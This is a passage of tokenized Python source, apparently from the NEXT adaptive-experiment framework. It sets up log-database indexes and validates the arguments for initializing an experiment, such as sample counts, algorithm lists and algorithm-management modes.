"algo", "rit", "hms", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "next_", "._", "constants_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "git", "\\u", "hash_", "=_", "next_", "._", "constants_", "._", "GIT", "\\u", "HASH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "set_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "app", "\\u", "id", "'_", ",_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "start", "\\u", "date", "'_", ",_", "utils_", "._", "datetime", "2str_", "(_", "utils_", "._", "datetime", "Now_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "n", "'_", ",_", "'", "d", "'_", ",_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n_", "=_", "args", "\\u", "dict_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "args", "\\u", "dict_", "[_", "'", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delta_", "=_", "args", "\\u", "dict_", "[_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AL", "G", " ", "LIST", " ", "FORMAT", "TIN", "G", " ", "CHECK_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "alg", "\\u", "list", "'_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "list_", "=_", "args", "\\u", "dict_", "[_", "'", "alg", "\\u", "list", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "support", "ed", "Alg", "s_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "support", "ed", "\\u", "alg", "s_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "not_", "in_", "support", "ed", "Alg", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "unsup", "porte", "d", " ", "algo", "rit", "hm", " ", "'%", "s", "'", " ", "in", " ", "alg", "\\u", "list", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "list_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "alg", "\\u", "list_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "instruct", "ion", "s", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instructions_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "instructions_", "(_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instructions_", "=_", "args", "\\u", "dict_", "[_", "'", "instruct", "ion", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "deb", "rie", "f", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deb", "rie", "f_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "instructions_", "(_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deb", "rie", "f_", "=_", "args", "\\u", "dict_", "[_", "'", "deb", "rie", "f", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "num", "\\u", "trie", "s", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "tries_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "num", "\\u", "tries_", "(_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "tries_", "=_", "args", "\\u", "dict_", "[_", "'", "num", "\\u", "trie", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ALGO", "RIT", "HM", "\\u", "MANAGE", "MENT", "\\u", "MODE", " ", "FORMAT", "TIN", "G", " ", "CHECK_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "[_", "'", "proportion", "s", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "[_", "'", "proportion", "s", "'_", "]_", "._", "append_", "(_", "{_", "'", "alg", "\\u", "label", "'_", ":_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", ",_", "'", "proportion", "'_", ":_", "1._", "/_", "len_", "(_", "alg", "\\u", "list_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fixed", "\\u", "proportion", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "params", "'_", "]_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "=_", "args", "\\u", "dict_", "[_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mode_", "=_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", " ", "must", " ", "be", " ", "a", " ", "dictionar", "y", " ", "with", " ", "fields", " ", "'", "mode", "'", " ", "and", " ", "'", "params", "'\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mode_", "==_", "'", "fixed", "\\u", "proportion", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "algo", "rit", "hm", "\\u", "proportion", "s", "\\u", "list_", "=_", "params_", "[_", "'", "proportion", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "['", "params", "']", " ", "must", " ", "be", " ", "a", " ", "dictionar", "y", " ", "with", " ", "field", " ", "'", "proportion", "s", "'\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "alg", "\\u", "labels", " ", "are", " ", "proper", "ly", " ", "label", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "proportion", "\\u", "item_", "in_", "algo", "rit", "hm", "\\u", "proportion", "s", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proportion_", "=_", "proportion", "\\u", "item_", "[_", "'", "proportion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "alg", "\\u", "label_", "=_", "proportion", "\\u", "item_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "alg", "\\u", "label", "\\u", "in", "\\u", "alg", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "==_", "target", "\\u", "alg", "\\u", "label_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "alg", "\\u", "label", "\\u", "in", "\\u", "alg", "\\u", "list_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "target", "\\u", "alg", "\\u", "label", "\\u", "in", "\\u", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "['", "params", "']", "['", "proportion", "s", "']", " ", "must", " ", "be", " ", "a", " ", "list", " ", "of", " ", "dictionar", "ies", ",", " ", "each", " ", "dictionar", "y", " ", "contain", "ing", " ", "the", " ", "fields", " ", "'", "alg", "\\u", "label", "'", " ", "and", " ", "'", "proportion", "'.", " ", "The", " ", "'", "alg", "\\u", "label", "'", " ", "value", " ", "must", " ", "be", " ", "one", " ", "of", " ", "the", " ", "alg", "\\u", "labels", " ", "in", " ", "a", " ", "provided", " ", "alg", "\\u", "list", " ", "and", " ", "'", "proportion", "'", " ", "must", " ", "be", " ", "nonn", "egat", "ive", " ", "and", " ", "sum", " ", "to", " ", "1", " ", ":", " ", "'%", "s", "'", " ", "not", " ", "in", " ", "provided", " ", "alg", "\\u", "list", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "target", "\\u", "alg", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mode_", "==_", "'", "pure", "\\u", "exploration", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "So", "rr", "y", ",", " ", "'%", "s", "'", " ", "is", " ", "not", " ", "ye", "t", " ", "support", "ed", ".\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mode_", "==_", "'", "explore", "\\u", "exploit", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "So", "rr", "y", ",", " ", "'%", "s", "'", " ", "is", " ", "not", " ", "ye", "t", " ", "support", "ed", ".\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "unsup", "porte", "d", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "mode", ":", " ", "'%", "s", "'.", " ", "Mus", "t", " ", "be", " ", "in", " ", "{", "'", "pure", "\\u", "exploration", "','", "explore", "\\u", "exploit", "','", "fixed", "\\u", "proportion", "s", "'}", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ALGO", "RIT", "HM", "\\u", "MANAGE", "MENT", "\\u", "MODE", " ", "FORMAT", "TIN", "G", " ", "CHECK_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "=_", "'", "one", "\\u", "to", "\\u", "many", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "=_", "args", "\\u", "dict_", "[_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "not_", "in_", "[_", "'", "one", "\\u", "to", "\\u", "many", "'_", ",_", "'", "one", "\\u", "to", "\\u", "one", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "unsup", "porte", "d", " ", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", ":", " ", "'%", "s", "'.", " ", "Mus", "t", " ", "be", " ", "in", " ", "{", "'", "one", "\\u", "to", "\\u", "many", "','", "one", "\\u", "to", "\\u", "one", "'}", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", 